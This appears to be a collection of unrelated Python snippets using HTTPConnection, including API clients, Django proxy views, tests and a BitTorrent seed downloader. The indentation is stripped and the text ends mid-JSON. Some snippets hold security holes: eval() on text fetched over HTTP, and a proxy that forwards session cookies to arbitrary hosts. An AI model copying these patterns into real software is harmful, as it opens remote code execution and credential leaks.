class GoodReadsBookMixin(object):
def __init__(self):
self.http = HTTPConnection("www.goodreads.com")
self.stats = None
if self.id is not None and self._goodreads_id == 0:
self._get_goodreads_stats()
def _get_goodreads_stats(self):
"""
{
u'work_ratings_count': 4129,
u'isbn': u'0767905385',
u'text_reviews_count': 98,
u'isbn13': u'9780767905381',
u'reviews_count': 932,
u'work_reviews_count': 6445,
u'average_rating': u'3.83',
u'work_text_reviews_count': 537,
u'ratings_count': 529,
u'id': 375789
}
"""
url = "/book/review_counts.json?isbns=%s&key=%s" % (self.isbn13, settings.GOODREADS_KEY)
self.http.request('GET', url)
json = self.http.getresponse().read()
try:
data = simplejson.loads(json)
except ValueError, e:
self._goodreads_id = -1
self.save()
return
self.stats = data["books"][0]
def YahooGeocoder(address, locality, region, postalcode, appId):
yahooUrl = "/geocode?"
queryParams = {
'q' : address + ' ' + locality +' ' + region + ' ' + str(postalcode),
'appid' : appId,
'flags' : 'J'
}
requestUrl = yahooUrl + urlencode(queryParams)
conn = HTTPConnection('where.yahooapis.com')
geocodeRequest = conn.request('GET', requestUrl)
response = conn.getresponse()
if response.status != 200:
raise LocationNotFoundError('Status code was not 200')
responseString = response.read()
resultSet = json.loads(responseString)['ResultSet']
if resultSet['Error'] != 0:
raise LocationNotFoundError('Results contained error')
if resultSet['Found'] <= 0:
raise LocationNotFoundError('Location not found')
results = resultSet['Results']
return (float(results[0]['latitude']), float(results[0]['longitude']))
def _httplib_request(self, method, url, fmt, params):
'''Make a HTTP request via httplib.
Make a HTTP request to `url` using `method`. `fmt` denotes a desired
response format (sent as ``Accept:`` header), `params` are sent as
the query string or the request body, depending on the method.
Return a `httplib.HTTPResponse` instance.
'''
methods = ('DELETE', 'GET', 'POST', 'PUT')
method = method.upper()
if not method in methods:
raise MyGengoException('Invalid or unsupported HTTP method %s' % method)
query_string = urlencode(params)
url_parts = urlparse(url)
path = url_parts.path
if method in ('POST', 'PUT'):
body = query_string
else:
path += '?' + query_string
body = None
if self.config.debug:
print url_parts.hostname + path
headers = self._make_header(fmt)
if method == 'POST':
headers['Content-Type'] = 'application/x-www-form-urlencoded'
try:
conn = HTTPConnection(url_parts.hostname, url_parts.port)
headers['User-Agent'] = 'pythonMyGengo 1.0'
conn.request(method, path, body, headers=headers)
return conn.getresponse()
except Exception, e:
raise MyGengoException(e.args)
def report_sauce_status(job_id, test_status):
"""Report test status to Sauce service
:param string job_id: [required] saucelabs job id
:param string test_status: [required] status of test
:returns: request status code
:rtype: int or string
Example::
Report sauce status ${SESSION_ID} ${TEST_STATUS}
"""
username = environ.get('SAUCE_USERNAME')
access_key = environ.get('SAUCE_ACCESS_KEY')
if not job_id:
return u"No Sauce job id found. Skipping..."
elif not username or not access_key:
return u"No Sauce environment variables found. Skipping..."
token = encodestring('%s:%s' % (username, access_key))[:-1]
body = dumps({'passed': test_status == 'PASS'})
connection = HTTPConnection('saucelabs.com')
connection.request('PUT', '/rest/v1/%s/jobs/%s' % (
username, job_id), body,
headers={'Authorization': 'Basic %s' % token}
)
return connection.getresponse().status
def run(query='insurance', query_template_file='query.txt', host='localhost',
port='8953', interval='1.0', timeout='10'):
with open(join(dirname(__file__), query_template_file)) as fh:
url = string.Template(fh.read()).substitute(
host=host,
port=port,
query=quote_plus(query))
print 'Starting load'
con = HTTPConnection(host, port, timeout=float(timeout))
while True:
try:
con.request('GET', url)
sys.stdout.write('.')
sys.stdout.flush()
response = con.getresponse()
content = response.read()
assert 'HTTP ERROR: 500' not in content, 'Server error %s' % content
time.sleep(float(interval))
except KeyboardInterrupt:
break
print '\nEnd'
def send(sms_to, sms_body, **kwargs):
"""
Site: http://smsaero.ru/
API: http://smsaero.ru/api/
"""
headers = {
"User-Agent": "DBMail/%s" % get_version(),
}
kwargs.update({
'user': settings.SMSAERO_LOGIN,
'password': settings.SMSAERO_MD5_PASSWORD,
'from': kwargs.pop('sms_from', settings.SMSAERO_FROM),
'to': sms_to.replace('+', ''),
'text': from_unicode(sms_body)
})
http = HTTPConnection(kwargs.pop("api_url", "gate.smsaero.ru"))
http.request("GET", "/send/?" + urlencode(kwargs), headers=headers)
response = http.getresponse()
if response.status != 200:
raise AeroSmsError(response.reason)
body = response.read().strip()
if '=accepted' not in body:
raise AeroSmsError(body)
return int(body.split('=')[0])
def __init__(self, *args, **kwargs):
'''I overrode the init and copied a lot of the code from the parent
class because HTTPConnection when this happens has been replaced by
VCRHTTPConnection, but doing it here lets us use the original one.'''
HTTPConnection.__init__(self, *args, **kwargs)
self.key_file = kwargs.pop('key_file', None)
self.cert_file = kwargs.pop('cert_file', None)
def get_embed(video_url):
if video_url.startswith('http://www.youtube.com/watch?v='):
yid = video_url.partition('=')[2]
return 'http://www.youtube.com/embed/%(yid)s?wmode=opaque&fs=1&theme=dark&autoplay=0&' % {'yid':yid}
conn = HTTPConnection("video.yandex.net")
get_embed_url = "/embed.xml?params=%26embed%3Dy&width=612.8&height=344.7&link=" + quote(video_url)
logger.info("Getting embed: " + get_embed_url)
conn.request("GET",get_embed_url)
res = conn.getresponse()
result = res.getheader("Location")
if result is not None:
result = result.replace("?autoplay=1","?autoplay=0")
result = result.replace("&autoplay=1","&autoplay=0")
result = result.replace("?autoStart=true","?autoStart=false")
result = result.replace("&autoStart=true","&autoStart=false")
result = result.replace("?auto=1","?auto=0")
result = result.replace("&auto=1","&auto=0")
result = result.replace("?ap=1","?ap=0")
result = result.replace("&ap=1","&ap=0")
if 'video.yandex.ru' in result:
result = result.replace("&autoplay=0","")
result = result.replace("?autoplay=0&","?")
result = result.replace("?autoplay=0","")
return result
def GetServerList():
"""
@note 通过http接口获取主机信息字符串,并整理为字典列表结构
"""
try:
httpClient = HTTPConnection('server.yw.rrgdev.com', 80)
httpClient.request('GET', '/seasia.py')
response = httpClient.getresponse()
if (404 == response.status):
return None
s = response.read()
s = s.lstrip("{")
s = s.rstrip("\n")
s = s.rstrip("}")
s = s.strip("\n")
lstStr = s.split("\n")
lstServer = []
for strTmp in lstStr:
if (0 == len(strTmp)):
logger.error("invalid server information string")
continue;
strTmp = strTmp.rstrip(",")
dictTmp = eval(strTmp)
if (len(dictTmp) < 14):
logger.error("invalid para num in server information string")
continue
lstServer.append(dictTmp)
except Exception, e:
logger.error(e)
return None
def __init__(self,hostName, portNumber):
HTTPConnection.__init__(self, hostName, portNumber)
self._hostName = hostName
self._portNumber = portNumber
self._commandList = []
def getSearchXML(self, query):
#this function will return the search XML for this server.
passthruURL = 'http://atv.plexconnect/passthru?URL=http://' + self.address + ':' + self.port
conn = HTTPConnection(self.address + ":" + self.port)
path = '/search?type=4&query=' + query
headers = {}
if self.token!=None:
headers = {'X-Plex-Token' : self.token}
try:
conn.request('GET', path, None, headers)
responseXML = str(conn.getresponse().read())
except:
dprint(__name__, 0, 'No Response from myPlex Server')
return False
#get the XML
root = ET.fromstring(responseXML)
#and parse it
XML = ET.ElementTree(root)
for vid in XML.findall('Video'):
vid.set('key', passthruURL + vid.get('key'))
#Will need to fix art/thumb here...
for part in XML.iter('Part'):
part.set('key', passthruURL + part.get('key'))
return ET.tostring(root)
def discoverSections(self, force=False):
if self.lastSection!=None and (datetime.now() - self.lastSection).total_seconds()<3600 and force==False:
dprint(__name__, 0, "Nothing doing. Cache time less than 1h threshold")
return
#we're here, so let's get the list of sections.
self.sections = []
#start by grabbing a reference to this server.
dprint(__name__, 2, "Add: {0}, port: {1}", self.address, self.port)
conn = HTTPConnection(self.address + ":" + self.port)
path = '/library/sections'
headers = {}
if self.token!=None:
headers = {'X-Plex-Token' : self.token}
try:
conn.request('GET', path, None, headers)
responseXML = str(conn.getresponse().read())
except:
dprint(__name__, 0, 'No Response from myPlex Server')
return False
#get the XML
root = ET.fromstring(responseXML)
#and parse it
XML = ET.ElementTree(root)
for dir in XML.findall("Directory"):
#and add the sections
self.sections.append(CSection(dir.get('title'), dir.get('type'), dir.get('key')))
dprint(__name__, 2, "{0} : Found section: {1}", self.name, dir.get('title'))
def _send_request(self, method, path, body='', headers={}):
if TIMEOUTS_AVAILABLE:
url = self.url.replace(self.path, '')
http = Http(timeout=self.timeout)
headers, response = http.request(url + path, method=method, body=body, headers=headers)
if int(headers['status']) != 200:
raise SolrError(self._extract_error(headers, response))
return response
else:
if headers is None:
headers = {}
conn = HTTPConnection(self.host, self.port)
conn.request(method, path, body, headers)
response = conn.getresponse()
if response.status != 200:
raise SolrError(self._extract_error(dict(response.getheaders()), response.read()))
return response.read()
def proxy(request):
if 'url' not in request.GET:
return HttpResponse(
"The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain"
)
url = urlsplit(request.GET['url'])
locator = url.path
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
headers = {}
if settings.SESSION_COOKIE_NAME in request.COOKIES:
headers["Cookie"] = request.META["HTTP_COOKIE"]
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
conn = HTTPConnection(url.hostname, url.port)
conn.request(request.method, locator, request.raw_post_data, headers)
result = conn.getresponse()
response = HttpResponse(
result.read(),
status=result.status,
content_type=result.getheader("Content-Type", "text/plain")
)
return response
def _run_server(self, app):
"""Run a wsgi server in a separate thread"""
ip, port = get_free_port()
self.app = app = WSGIApplication(app, (ip, port))
def run():
logger = logging.getLogger("SeleniumWebDriverApp")
def log_message(self, format, *args):
logger.info("%s - - [%s] %s\n" %
(self.address_string(),
self.log_date_time_string(),
format % args))
# monkey patch to redirect request handler logs
WSGIRequestHandler.log_message = log_message
httpd = simple_server.make_server(ip, port, app,
server_class=WSGIServer,
handler_class=WSGIRequestHandler)
httpd.serve_forever()
app.thread = Process(target=run)
app.thread.start()
conn = HTTPConnection(ip, port)
time.sleep(.5)
for i in range(100):
try:
conn.request('GET', '/__application__')
conn.getresponse()
except (socket.error, CannotSendRequest):
time.sleep(.3)
else:
break
def send(sms_to, sms_body, **kwargs):
"""
Site: http://iqsms.ru/
API: http://iqsms.ru/api/
"""
headers = {
"User-Agent": "DBMail/%s" % get_version(),
'Authorization': 'Basic %s' % b64encode(
"%s:%s" % (
settings.IQSMS_API_LOGIN, settings.IQSMS_API_PASSWORD
)).decode("ascii")
}
kwargs.update({
'phone': sms_to,
'text': from_unicode(sms_body),
'sender': kwargs.pop('sms_from', settings.IQSMS_FROM)
})
http = HTTPConnection(kwargs.pop("api_url", "gate.iqsms.ru"))
http.request("GET", "/send/?" + urlencode(kwargs), headers=headers)
response = http.getresponse()
if response.status != 200:
raise IQSMSError(response.reason)
body = response.read().strip()
if '=accepted' not in body:
raise IQSMSError(body)
return int(body.split('=')[0])
def connect(self):
"""
Establishes a connection to the REST API server as defined by the host,
port and ssl instance variables
"""
if self._token:
self._debug("Forcing logout from old session.\n")
orig_value = self.poll_incomplete
self.poll_incomplete = False
self.execute('/REST/Session', 'DELETE')
self.poll_incomplete = orig_value
self._token = None
self._conn = None
if self.ssl:
msg = "Establishing SSL connection to %s:%s\n" % (
self.host, self.port
)
self._debug(msg)
self._conn = HTTPSConnection(self.host, self.port)
else:
msg = "Establishing unencrypted connection to %s:%s\n" % (
self.host, self.port
)
self._debug(msg)
self._conn = HTTPConnection(self.host, self.port)
def check_server(port, port2server, pids, timeout=CHECK_SERVER_TIMEOUT):
server = port2server[port]
if server[:-1] in ('account', 'container', 'object'):
if int(server[-1]) > 4:
return None
path = '/connect/1/2'
if server[:-1] == 'container':
path += '/3'
elif server[:-1] == 'object':
path += '/3/4'
try_until = time() + timeout
while True:
try:
conn = HTTPConnection('127.0.0.1', port)
conn.request('GET', path)
resp = conn.getresponse()
# 404 because it's a nonsense path (and mount_check is false)
# 507 in case the test target is a VM using mount_check
if resp.status not in (404, 507):
raise Exception(
'Unexpected status %s' % resp.status)
break
except Exception, err:
if time() > try_until:
print err
print 'Giving up on %s:%s after %s seconds.' % (
server, port, timeout)
raise err
sleep(0.1)
def connect(self):
"""
Override the connect() function to intercept calls to certain
host/ports.
If no app at host/port has been registered for interception then
a normal HTTPConnection is made.
"""
if debuglevel:
sys.stderr.write('connect: %s, %s\n' % (self.host, self.port,))
try:
(app, script_name) = self.get_app(self.host, self.port)
if app:
if debuglevel:
sys.stderr.write('INTERCEPTING call to %s:%s\n' % \
(self.host, self.port,))
self.sock = wsgi_fake_socket(app, self.host, self.port,
script_name)
else:
HTTPConnection.connect(self)
except Exception, e:
if debuglevel: # intercept & print out tracebacks
traceback.print_exc()
raise
def test_ranges(webapp):
connection = HTTPConnection(webapp.server.host, webapp.server.port)
connection.request("GET", "%s/static/largefile.txt" %
webapp.server.http.base, headers={"Range": "bytes=0-50,51-100"})
response = connection.getresponse()
assert response.status == 206
def testGet(self):
self.assertTrue(self.pasteThread.isAlive())
from httplib import HTTPConnection
http_connection = HTTPConnection("localhost", port=self.port)
http_connection.request("GET", "/api/Crawl")
response = http_connection.getresponse()
self.assertTrue(response.status == 404 or response.status == 200 or response.status == 500)
def _select(self, params):
# encode the query as utf-8 so urlencode can handle it
params['q'] = unicode_safe(params['q'])
path = '%s/select/?%s' % (self.path, urlencode(params))
conn = HTTPConnection(self.host, self.port)
conn.request('GET', path)
return conn.getresponse()
def _make_request(method, host, path, body='', headers={}):
"""
Makes an HTTP request.
Args:
method |str| = Type of request. GET, POST, PUT or DELETE.
host |str| = The host and port of the server. E.g. vmpooler.myhost.com:8080
path |str| = The path of the url. E.g. /vm/vm_name
body |str| = The body data to send with the request.
headers |{str:str}| = Optional headers for the request.
Returns:
|HTTPResponse| = Response from the request.
Raises:
|RuntimeError| = If the vmpooler URL can't be reached
"""
try:
conn = HTTPConnection(host)
conn.request(method, path, body, headers)
resp = conn.getresponse()
return resp
except gaierror:
error = "Couldn't connect to address '{}'. Ensure this is the correct URL for " \
"the vmpooler".format(host)
raise RuntimeError(error)
except:
print("Unkown error occured while trying to connect to {}".format(host))
raise
class RESTClient(object):
"""
HTTP client
HTTPS client based on the provided URL (http:// or https://)
"""
def __init__(self, url, cert=None, key=None):
logging.info("RESTClient URL: %s" % url)
if url.startswith("https://"):
logging.info("Using HTTPS protocol, getting user identity files ...")
proxy_file = "/tmp/x509up_u%s" % os.getuid()
if not os.path.exists(proxy_file):
proxy_file = "UNDEFINED"
cert_file = cert or os.getenv("X509_USER_CERT", os.getenv("X509_USER_PROXY", proxy_file))
key_file = key or os.getenv("X509_USER_KEY", os.getenv("X509_USER_PROXY", proxy_file))
logging.info("Identity files:\n\tcert file: '%s'\n\tkey file: '%s' " % (cert_file, key_file))
url = url.replace("https://", "")
logging.info("Creating connection HTTPS ...")
self.conn = HTTPSConnection(url, key_file=key_file, cert_file=cert_file)
if url.startswith("http://"):
logging.info("Using HTTP protocol, creating HTTP connection ...")
url = url.replace("http://", "")
self.conn = HTTPConnection(url)
def http_request(self, verb, uri, data=None, header=None):
logging.debug("Request: %s %s %s ..." % (verb, uri, data))
self.conn.request(verb, uri, body=data, headers=self.headers)
resp = self.conn.getresponse()
data = resp.read()
logging.debug("Status: %s" % resp.status)
logging.debug("Reason: %s" % resp.reason)
return resp.status, data
def proxy(request):
if 'url' not in request.GET:
return HttpResponse(
"The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain"
)
url = urlsplit(request.GET['url'])
# Don't allow localhost connections unless in DEBUG mode
if not settings.DEBUG and re.search('localhost|127.0.0.1', url.hostname):
return HttpResponse(status=403)
locator = url.path
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
# Strip all headers and cookie info
headers = {}
conn = HTTPConnection(url.hostname, url.port) if url.scheme == "http" else HTTPSConnection(url.hostname, url.port)
conn.request(request.method, locator, request.raw_post_data, headers)
result = conn.getresponse()
response = HttpResponse(
valid_response(result.read()),
status=result.status,
content_type=result.getheader("Content-Type", "text/plain")
)
return response
def request(self, method, endpoint, qargs={}, data=None):
path = self.format_path(endpoint, qargs)
conn = HTTPConnection('%s:80' % self.account)
auth = b64encode("%s:%s" % (self.api_key, self.password))
headers = {
'Authorization': 'Basic %s' % auth,
'Content-Type': 'application/xml'
}
done = False
while not done:
try:
conn.request(method, path, headers=headers, body=data)
except socket.gaierror:
if self.retry_on_socket_error:
time.sleep(self.retry_timeout)
continue
else:
raise
resp = conn.getresponse()
body = resp.read()
if resp.status == 503 and self.retry_on_503:
time.sleep(self.retry_timeout)
else:
done = True
if 200 <= resp.status < 300:
return body
else:
raise ApiError("%s request to %s returned: %s\n%s" %
(method, path, resp.status, body), resp.status)
class HTTPSpeakerClient:
"""Emacspeak HTTP speech client, for HTTPSpeaker instances."""
def __init__(self, host="127.0.0.1", port=8000):
"Initialize client to connect to server at given host and port."
self._connection=HTTPConnection(host, port)
def postCommand(self, command, arg=""):
"""Post command, with argument arg (default, empty), to the speech server.
Returns the body of the server's HTTP response, if any. On error, HTTPSpeakerError is raised."""
body = command
if arg:
body += ": " + arg
self._connection.request("POST", "/", body, {"Content-type": "text/plain"})
response=self._connection.getresponse()
if response.status != 200:
raise HTTPSpeakerError(response.status, response.reason)
return response.read()
def speak(self, text):
"Speak the supplied string."
self.postCommand("speak", text)
def stop(self):
"Stop speaking."
self.postCommand("stop")
def isSpeaking(self):
"Return '0' when not speaking."
return self.postCommand("isSpeaking")
def close(self):
"Close the connection to the speech server."
self._connection.close()
def commit_koalemos(r):
conn = HTTPConnection(OPTIONS['host'], OPTIONS['port'])
conn.request('POST', '/commit',
body=urlencode({'r': r}),
headers={'Content-Type': 'application/x-www-form-urlencoded'})
res = conn.getresponse()
return (None, False) if res.status == 204 else (res.read(), True)
class HTTPHelper:
def __init__(self, host, url, headers, method = "GET", body = None):
self._url = url
self._host = host
self._headers = headers
self._method = method
self._body = body
def _connect(self):
self.conn = HTTPConnection(self._host)
def _request(self):
self.conn.request(self._method, self._url, body = self._body, headers = self._headers)
def _response(self):
self._response = self.conn.getresponse()
return self._response.read()
def run(self):
self._connect()
self._request()
r = self._response()
_encode = self._response.getheader("Content-Encoding")
if _encode and "gzip" in _encode:
r = gzip_decompress(r)
return r
def __init__(self, host, port=None, key_file=None, cert_file=None,
strict=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
source_address=None):
HTTPConnection.__init__(self, host, port, strict, timeout,
source_address)
self.key_file = key_file
self.cert_file = cert_file
def proxy(request):
PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())
host = None
if 'geonode.geoserver' in settings.INSTALLED_APPS:
from geonode.geoserver.helpers import ogc_server_settings
hostname = (ogc_server_settings.hostname,) if ogc_server_settings else ()
PROXY_ALLOWED_HOSTS += hostname
host = ogc_server_settings.netloc
if 'url' not in request.GET:
return HttpResponse("The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain"
)
raw_url = request.GET['url']
url = urlsplit(raw_url)
locator = str(url.path)
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
if not settings.DEBUG:
if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
return HttpResponse("DEBUG is set to False but the host of the path provided to the proxy service"
" is not in the PROXY_ALLOWED_HOSTS setting.",
status=403,
content_type="text/plain"
)
headers = {}
if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(url=raw_url, host=host):
headers["Cookie"] = request.META["HTTP_COOKIE"]
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
conn.request(request.method, locator, request.body, headers)
result = conn.getresponse()
# If we get a redirect, let's add a useful message.
if result.status in (301, 302, 303, 307):
response = HttpResponse(('This proxy does not support redirects. The server in "%s" '
'asked for a redirect to "%s"' % (url, result.getheader('Location'))),
status=result.status,
content_type=result.getheader("Content-Type", "text/plain")
)
response['Location'] = result.getheader('Location')
else:
response = HttpResponse(
result.read(),
status=result.status,
content_type=result.getheader("Content-Type", "text/plain"))
return response
def fproxyGet(self, path):
"""
Fetches from fproxy, returns (status, mimetype, data)
"""
server = self.server
headers = self.headers
print "--------------------------------------------"
print "** path=%s" % path
# first scenario - user is pointing their browser directly at
# fproxyfproxy, barf!
if not path.startswith("http://"):
self.send_response(400)
self.send_header("Content-type", "text/html")
data = "\n".join([
"<html><head>",
"<title>Access Denied</title>",
"</head><body>",
"<h1>Access Denied</h1>",
"Sorry, but FProxyProxy is an http proxy server.<br>",
"Please don't try to access it like a web server.",
"</body></html>",
"",
])
self.send_header("Content-Length", str(len(data)))
self.send_header("Location", location)
self.end_headers()
self.wfile.write(data)
self.wfile.flush()
return
# convert path to relative
path = "/" + path[7:].split("/", 1)[-1]
#print "** path=%s" % repr(path)
try:
# check host header
hostname = headers.get("Host", 'fproxy')
pathbits = path.split("/")
print "** hostname = %s" % hostname
# second scenario, user has just given a domain name without trailing /
if len(pathbits) == 1:
# redirect to force trailing slash
location = path + "/"
print "** redirecting to: %s" % location
self.send_response(301)
self.send_header("Content-type", "text/html")
data = "\n".join([
"<html><head>",
"<title>Permanent redirect: new URI</title>",
"</head><body>",
"<h1>Permanent redirect: new URI</h1>",
"<a href=\"%s\">Click here</a>",
"</body></html>",
"",
]) % location
self.send_header("Content-Length", str(len(data)))
self.send_header("Location", location)
self.end_headers()
self.wfile.write(data)
self.wfile.flush()
return
tail = "/".join(pathbits[1:])
# third scenario - request into fproxy
if hostname == 'fproxy':
# tis an fproxy request, go straight through
conn = HTTPConnection(server.fproxyHost, server.fproxyPort)
conn.request("GET", path)
resp = conn.getresponse()
self.send_response(resp.status)
self.send_header("Content-type",
resp.getheader("Content-Type", "text/plain"))
data = resp.read()
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
self.wfile.flush()
conn.close()
return
else:
# final scenario - some other domain, try lookup
uri = server.node.namesiteLookup(hostname)
if not uri:
# lookup failed, do the usual 404 thang
print "** lookup of domain %s failed" % hostname
self.send_response(404)
self.send_header("Content-type", "text/html")
data = "\n".join([
"<html><head>",
"<title>404 - Freenet name not found</title>",
"</head><body",
"<h1>404 - Freenet name not found</title>",
"The pyFreenet name service was unable to resolve ",
"the name %s" % hostname,
"<br><br>",
"You might like to find its freenet uri and try that ",
"within <a href=\"/fproxy/\">FProxy</a>",
"</body></html>",
"",
])
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
self.wfile.flush()
# lookup succeeded - ok to go now via fproxy
conn = HTTPConnection(server.fproxyHost, server.fproxyPort)
newpath = "/" + uri
if tail:
if not newpath.endswith("/"):
newpath += "/"
newpath += tail
print "** newpath=%s" % newpath
conn.request("GET", newpath)
resp = conn.getresponse()
print "** status=%s" % resp.status
self.send_response(resp.status)
self.send_header("Content-type",
resp.getheader("Content-Type", "text/plain"))
# has fproxy sent us a redirect?
if resp.status == 301:
# yuck, fproxy is telling us to redirect, which
# sadly means we have to lose the domain name
# from our browser address bar
location = resp.getheader("location")
newLocation = "http://fproxy" + location
print "*** redirected!!!"
print "*** old location = %s" % location
print "*** --> %s" % newLocation
self.send_header("Location", newLocation)
# get the data from fproxy and send it up to the client
data = resp.read()
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
self.wfile.flush()
conn.close()
return
return
except socket.error:
raise
def __init__(self, host, *fakedata):
HTTPConnection.__init__(self, host)
self.fakedata = list(fakedata)
def __init__(self, host, port=None, timeout=20):
HTTPConnection.__init__(self, host, port)
self.timeout = timeout
def request(self, method, url, body=None, headers={}):
self.request_length = 0
HTTPConnection.request(self, method, url, body, headers)
class SingleDownload(SingleDownloadHelperInterface):
def __init__(self, downloader, url):
SingleDownloadHelperInterface.__init__(self)
self.downloader = downloader
self.baseurl = url
try:
self.scheme, self.netloc, path, pars, query, fragment = urlparse(url)
except:
self.downloader.errorfunc('cannot parse http seed address: ' + url)
return
if self.scheme != 'http':
self.downloader.errorfunc('http seed url not http: ' + url)
return
self.proxyhost = find_proxy(url)
try:
if self.proxyhost is None:
self.connection = HTTPConnection(self.netloc)
else:
self.connection = HTTPConnection(self.proxyhost)
except:
self.downloader.errorfunc('cannot connect to http seed: ' + url)
return
self.seedurl = path
if pars:
self.seedurl += ';' + pars
self.seedurl += '?'
if query:
self.seedurl += query + '&'
self.seedurl += 'info_hash=' + urllib.quote(self.downloader.infohash)
self.measure = Measure(downloader.max_rate_period)
self.index = None
self.url = ''
self.requests = []
self.request_size = 0
self.endflag = False
self.error = None
self.retry_period = 30
self._retry_period = None
self.errorcount = 0
self.goodseed = False
self.active = False
self.cancelled = False
self.resched(randint(2, 10))
def resched(self, len = None):
if len is None:
len = self.retry_period
if self.errorcount > 3:
len = len * (self.errorcount - 2)
self.downloader.rawserver.add_task(self.download, len)
def _want(self, index):
if self.endflag:
return self.downloader.storage.do_I_have_requests(index)
else:
return self.downloader.storage.is_unstarted(index)
def download(self):
if DEBUG:
print 'http-sdownload: download()'
if self.is_frozen_by_helper():
if DEBUG:
print 'http-sdownload: blocked, rescheduling'
self.resched(1)
return
self.cancelled = False
if self.downloader.picker.am_I_complete():
self.downloader.downloads.remove(self)
return
self.index = self.downloader.picker.next(haveall, self._want, self)
if self.index is None and self.frozen_by_helper:
self.resched(0.01)
return
if self.index is None and not self.endflag and not self.downloader.peerdownloader.has_downloaders():
self.endflag = True
self.index = self.downloader.picker.next(haveall, self._want, self)
if self.index is None:
self.endflag = True
self.resched()
else:
self.url = self.seedurl + '&piece=' + str(self.index)
self._get_requests()
if self.request_size < self.downloader.storage._piecelen(self.index):
self.url += '&ranges=' + self._request_ranges()
rq = Thread(target=self._request)
rq.setName('HoffmanHTTPDownloader' + rq.getName())
rq.setDaemon(True)
rq.start()
self.active = True
def _request(self):
import encodings.ascii
import encodings.punycode
import encodings.idna
self.error = None
self.received_data = None
try:
self.connection.request('GET', self.url, None, {'User-Agent': VERSION})
r = self.connection.getresponse()
self.connection_status = r.status
self.received_data = r.read()
except Exception as e:
log_exc()
self.error = 'error accessing http seed: ' + str(e)
try:
self.connection.close()
except:
pass
try:
self.connection = HTTPConnection(self.netloc)
except:
self.connection = None
self.downloader.rawserver.add_task(self.request_finished)
def request_finished(self):
self.active = False
if self.error is not None:
if self.goodseed:
self.downloader.errorfunc(self.error)
self.errorcount += 1
if self.received_data:
self.errorcount = 0
if not self._got_data():
self.received_data = None
if not self.received_data:
self._release_requests()
self.downloader.peerdownloader.piece_flunked(self.index)
if self._retry_period:
self.resched(self._retry_period)
self._retry_period = None
return
self.resched()
def _got_data(self):
if self.connection_status == 503:
try:
self.retry_period = max(int(self.received_data), 5)
except:
pass
return False
if self.connection_status != 200:
self.errorcount += 1
return False
self._retry_period = 1
if len(self.received_data) != self.request_size:
if self.goodseed:
self.downloader.errorfunc('corrupt data from http seed - redownloading')
return False
self.measure.update_rate(len(self.received_data))
self.downloader.measurefunc(len(self.received_data))
if self.cancelled:
return False
if not self._fulfill_requests():
return False
if not self.goodseed:
self.goodseed = True
self.downloader.seedsfound += 1
if self.downloader.storage.do_I_have(self.index):
self.downloader.picker.complete(self.index)
self.downloader.peerdownloader.check_complete(self.index)
self.downloader.gotpiecefunc(self.index)
return True
def _get_requests(self):
self.requests = []
self.request_size = 0L
while self.downloader.storage.do_I_have_requests(self.index):
r = self.downloader.storage.new_request(self.index)
self.requests.append(r)
self.request_size += r[1]
self.requests.sort()
def _fulfill_requests(self):
start = 0L
success = True
while self.requests:
begin, length = self.requests.pop(0)
if not self.downloader.storage.piece_came_in(self.index, begin, [], self.received_data[start:start + length], length):
success = False
break
start += length
return success
def _release_requests(self):
for begin, length in self.requests:
self.downloader.storage.request_lost(self.index, begin, length)
self.requests = []
def _request_ranges(self):
s = ''
begin, length = self.requests[0]
for begin1, length1 in self.requests[1:]:
if begin + length == begin1:
length += length1
continue
else:
if s:
s += ','
s += str(begin) + '-' + str(begin + length - 1)
begin, length = begin1, length1
if s:
s += ','
s += str(begin) + '-' + str(begin + length - 1)
return s
def helper_forces_unchoke(self):
pass
def helper_set_freezing(self, val):
self.frozen_by_helper = val
class TestRegression(TestCase):
def setUp(self):
self.ip = "localhost"
self.port = "8081"
self.headers = {'Content-Type': 'application/json',
'Accept': 'application/json'}
self.timeout = 10
# connect
self.conn = HTTPConnection(self.ip, self.port, timeout=self.timeout)
def tearDown(self):
self.conn.close()
def test_1_basic_request(self):
"""
"""
# request an pa computation
path = "/5gt/so/v1/PAComp"
data = {"ReqId": "string",
"nfvi": {
"NFVIPoPs": [
{
"Id": "DC1",
"gw_ip_address": "172.16.102.116",
"capabilities": {
"cpu": 3,
"ram": 2400,
"storage": 135000
},
"availableCapabilities": {
"cpu": 78,
"ram": 2400,
"storage": 135000
},
"internal_latency": 1.04
},
{
"Id": "DC2",
"gw_ip_address": "172.16.102.117",
"capabilities": {
"cpu": 3,
"ram": 160,
"storage": 7000
},
"availableCapabilities": {
"cpu": 85,
"ram": 160,
"storage": 7000
},
"internal_latency": 4.16
},
{
"Id": "DC3",
"gw_ip_address": "172.16.102.118",
"capabilities": {
"cpu": 2,
"ram": 160,
"storage": 7000
},
"availableCapabilities": {
"cpu": 40,
"ram": 160,
"storage": 7000
},
"internal_latency": 4.16
}
],
"LLs": [
{
"LLid": "LL1",
"capacity": {
"total": 125000000000,
"available": 1250000000
},
"delay": 3.3,
"length": 250,
"source": {
"Id": "DC1",
"GwIpAddress": "172.16.102.116"
},
"destination": {
"Id": "DC2",
"GwIpAddress": "172.16.102.117"
}
},
{
"LLid": "LL2",
"capacity": {
"total": 1250000000000,
"available": 1250000000
},
"delay": 1.3,
"length": 150,
"source": {
"Id": "DC1",
"GwIpAddress": "172.16.102.116"
},
"destination": {
"Id": "DC3",
